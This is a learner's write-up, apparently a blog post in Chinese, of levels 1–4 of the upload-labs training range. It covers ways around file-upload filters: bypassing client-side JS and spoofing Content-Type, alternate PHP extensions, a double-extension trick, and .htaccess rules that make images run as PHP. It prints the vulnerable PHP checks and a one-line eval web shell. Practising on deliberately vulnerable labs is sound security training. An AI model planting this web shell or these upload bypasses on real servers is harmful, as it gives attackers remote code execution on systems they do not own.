upload-labs(1-4)
pass-1 JS检测绕过
上传一个123.php
试试,结果不允许上传
页面源代码中这样一个javascript脚本,采用白名单的形式只允许jpg,png和gif类型
方法1-burpsuite改后缀名绕过
先将后缀名改成png绕过前端js的检测,然后用burpsuite抓包,更改为原文件类型
JS绕过成功,顺利上传
使用蚁剑连接
方法2-burpsuite改服务端回应包绕过
在burp suite中先打开拦截回应包选项
在客户端刷新一次页面,然后burpsuite拦截到服务端的回应
在回应包中,发现前端的js检测代码,把它删除,然后放包
查看前端源码,js检测代码已经没了
接着上传123.php
未出现弹窗拦截,上传成功
pass-2 文件类型绕过Content-type
初次尝试
看了看前端源码,没有JS后缀检测了
先上传123.php试试,提示文件类型错误
分析源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
源码是靠$_FILES["name"]["type"]
中的来判断
但是这个type值是由发送过去的数据包中的Content-Type的值,因此,修改Content-type的值就可以绕过
再次尝试
上传一个1.jpg
看看它的Content-Type值是什么样的
接着上传一个123.php
,将Content-Type
改成image/jpeg
上传成功
蚁剑连接成功
pass-3
分析源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
采用黑名单的方式,不允许上传后缀名asp
,aspx
,php
,jsp
的文件,意味着其他文件都可以上传
然后将文件名更改为年月日时分秒+1000-9999任意数字
.后缀名
黑名单禁止asp
,aspx
,php
,jsp
的文件 ,不过phtml,php3,php4,php5,pht没有禁止,在apache配置文件中当php解析
- 原理:例如php3,它代表php 3.x版本,利用php向下兼容特点进行绕过测试
除了php可以利用篡改可解析的后缀名,其他类型文件也可以篡改
.asp | .aspx | .jsp |
---|---|---|
.asa | .ashx | .jspx |
.cer | .asmx | .jspf |
.cdx | .ascx |
尝试
先在Apache的httpd.conf中设置,把以上后缀都给加上AddType application/x-httpd-php .php .phtml .php3 .php4 .php5
然后上传如1.PHP2
的文件,失败?
上传1.php3
看看,失败??
上传1.php4
看看,失败???
上传1.php5
看看,失败???!
上传1.php6
看看,...失败...
上传1.phtml
看看,......失败......
我真的服了,全都上传失败,查了后发现好像用phpstudy的话,不能识别php3等这样的后缀名
大致就是这样的操作
pass-4
分析源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
还是用的黑名单,apache可解析的文件扩展名全都过滤了,但是它没有重命名文件名,百密一疏
将文件后缀改成没办法解析的如xxx,文件命名为1.php.xxx
,由于apache从右向左解析,xxx解析不了就会解析php,从而绕过检查
初次尝试
上传1.php.xxx
,上传成功
连接蚁剑,连接失败??
连接地址可能填错了
那换一种方法
.htaccess
简介
.htaccess文件 (或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
- 它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
- 作为用户,所能使用的命令受到限制。
- 管理员可以通过Apache的AllowOverride指令来设置。
- .htaccess文件是用于apache服务器下的控制文件访问的配置文件,因此Nginx下是不会生效的
- .htaccess可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、文件的跳转等功能。
.htaccess 是配置文件,所以文件名不要更改
.htaccess 文件上传漏洞原理:
一般.htaccess可以用来留后门和针对黑名单绕过
- 创建一个txt写入
AddType application/x-httpd-php .png
- 另存为.htaccess
- 让 png 解析为 php ,还可以把png改成其他图片格式~例如jpeg、gif等等...
或者在.htaccess 加入php解析规则
- 类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
1.abcd 就会以php执行
实际操作
- 创建.htaccess文件,并写入内容
-
上传.htaccess文件
-
上传成功后,上传一个
111.xxxx
的文件,里面写有一句话木马<?php @eval($_POST['pw']);?>
佛了,连接不上显示返回数据为空
换一种方法:写入AddType application/x-httpd-php .png
试试
还是不行
总结
先放这吧,有很多都没弄明白